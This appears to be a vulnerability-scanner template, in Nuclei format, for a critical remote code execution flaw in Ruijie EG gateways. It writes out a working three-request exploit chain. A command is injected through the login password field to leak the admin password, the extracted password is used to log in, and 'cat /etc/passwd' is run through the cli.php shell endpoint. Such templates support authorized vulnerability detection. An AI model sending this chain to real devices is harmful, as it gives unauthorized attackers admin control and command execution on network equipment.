id: ruijie-eg-rce

info:
  name: Ruijie EG - Remote Code Execution
  author: pikpikcu
  severity: critical
  description: Ruikie EG's cli.php end point allows remote unauthenticated attackers to gain 'admin' privileges. The vulnerability is exploitable because an unauthenticated user can gain 'admin' privileges due to a vulnerability in the login screen.
  reference:
    - https://github.com/PeiQi0/PeiQi-WIKI-POC/blob/PeiQi/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/%E9%94%90%E6%8D%B7/%E9%94%90%E6%8D%B7EG%E6%98%93%E7%BD%91%E5%85%B3%20cli.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
    - https://www.ruijienetworks.com
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 3
  tags: ruijie,rce,vuln

http:
  - raw:
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=admin?show+webmaster+user
      - |
        POST /login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password={{admin}}
      - |
        POST /cli.php?a=shell HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;charset=UTF-8

        notdelay=true&command=cat /etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"
          - "nobody:.*:0:0"
        part: body

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: admin
        group: 1
        internal: true
        regex:
          - 'admin ([a-zA-Z0-9#@]+)",'
# digest: 4a0a00473045022100fd611ee5b93585d56a84cf8eff5e32195c381661a2e0b819abd3f46e15f04998022043d692bd68a442f70bd7e124227a97af06dabbfc0ecb2551040c408b842c55fd:922c64590222798bb761d5b6d8e72950